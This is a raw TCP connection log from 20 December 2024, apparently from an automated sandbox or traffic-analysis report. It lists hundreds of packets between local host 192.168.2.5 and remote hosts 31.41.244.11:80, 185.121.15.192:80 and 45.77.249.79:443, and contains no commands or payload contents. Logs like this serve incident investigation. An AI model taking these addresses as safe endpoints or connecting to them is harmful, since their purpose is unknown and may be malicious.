Dec 20, 2024 13:12:41.732733011 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.733591080 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.733669043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.733701944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.733767033 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.734616995 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.734879971 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.734949112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.735687017 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.735742092 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.735852003 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.735907078 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.736754894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.736821890 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.736891031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.736948013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.737840891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.737854004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.737900019 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.738830090 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.738969088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.739026070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.739866972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.739922047 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.739960909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.740025043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.740967989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.741024017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.741065025 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.741147041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.742033005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.742105007 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.742202997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.742995977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.743052959 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.743082047 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.743139029 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.744081020 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.744141102 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.744203091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.744261026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.745088100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.745145082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.745230913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.745286942 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.746206999 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.746282101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.746347904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.747225046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.747299910 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.747347116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.747410059 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.748318911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.748330116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.748383999 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.748413086 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.749315977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.749496937 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.749569893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.750369072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.750381947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.750447035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.751369953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.751382113 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.751446962 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.752396107 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.752558947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.752635002 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.753480911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.753542900 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.753576994 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.753633022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.754509926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.754688025 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.754745007 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.755598068 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.755608082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.755664110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.756580114 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.756639004 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.756704092 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.756758928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.757668972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.757792950 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.757829905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.757859945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.758704901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.758785009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.758896112 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.758970022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.759779930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.759790897 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.759840012 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.760863066 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.760925055 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.760991096 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.761053085 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.761840105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.761895895 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.761934042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.761989117 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.762821913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.766122103 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.851222992 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:41.900742054 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:41.900772095 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:41.900872946 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:41.901155949 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.901166916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.901230097 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.901410103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.901633024 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.901671886 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.901700974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.902558088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.902569056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.902631044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.902719021 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:41.902734041 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:41.903445005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.903512001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.903577089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.903633118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.904480934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.904611111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.904644966 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.904702902 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.905606031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.905666113 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.905749083 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.905808926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.906650066 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.906744957 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.906815052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.907721043 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.907731056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.907780886 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.908808947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.908868074 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.908915997 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.908943892 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.909778118 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.909789085 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.909838915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.910815001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.910891056 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.910957098 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.911111116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.911828995 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.911901951 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.911936998 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.911986113 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.912868023 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.912938118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.912998915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.913064957 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.913917065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.914063931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.914139032 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.915091038 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.915231943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.915297985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.916094065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.916157961 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.916172028 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.916309118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.917104959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.917161942 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.917171001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.917217016 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.918144941 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.918219090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.918262005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.918436050 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.919272900 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.919344902 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.919446945 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.919504881 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.920279980 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.920394897 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.920398951 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.920490026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.921261072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.921319008 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.921355963 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.921417952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.922333956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.922394037 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.922455072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.922699928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.923408985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.923471928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.923535109 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.923607111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.924443960 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.924506903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.924545050 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.924686909 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.925509930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.925571918 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.925621033 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.925678015 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.926562071 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.926623106 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.926645994 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.926711082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.927541971 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.927642107 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.927654982 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.927689075 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.928638935 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.928699970 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.928802967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.928863049 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.929713011 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.929723978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.929774046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.930700064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.930772066 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.930860996 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.930921078 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.932060003 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.932118893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.932207108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.932265043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.932785988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.932843924 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.932877064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.932934046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.933897972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.933980942 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.933995962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.934047937 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.934897900 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.935028076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.935087919 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.935959101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.935970068 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.936281919 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.936973095 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.937041044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.937056065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.937115908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.938071966 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.938138962 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.938225031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.938297033 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.939084053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.939158916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.939174891 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.939203978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.940205097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.940215111 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.940268040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.941149950 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.941214085 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.941277981 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.941334009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.942204952 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.942262888 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.942565918 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.942620993 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.943263054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.943336010 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.943377018 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.943428040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.944334984 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.944416046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.944438934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.944499016 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.945420980 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.945487976 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.945545912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.945611000 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.946495056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.946554899 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.946650982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.946719885 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.947446108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.947493076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.947504997 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.947554111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.948580980 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.948749065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.948776007 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.948937893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.949554920 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.949647903 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.949707985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.950723886 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.950758934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.950818062 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.951787949 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.951855898 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.951895952 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.951925039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.952703953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.952749968 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.952811956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.953862906 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.953927040 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.953931093 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.953974009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.955091000 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.955147028 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.955265045 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.955329895 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.956016064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.956068993 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.970947027 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:41.971039057 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:41.971293926 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:42.090928078 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:42.093409061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.093494892 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.093508005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.093559980 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.093849897 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.093907118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.094005108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.094801903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.094887972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.094964981 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.095083952 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.095153093 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.095911026 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.095980883 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.096040010 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.096118927 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.096968889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.097031116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.097068071 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.097122908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.098052025 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.098160982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.098227978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.099409103 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.099490881 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.099559069 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.099559069 CET	49913	80	192.168.2.5	31.41.244.11
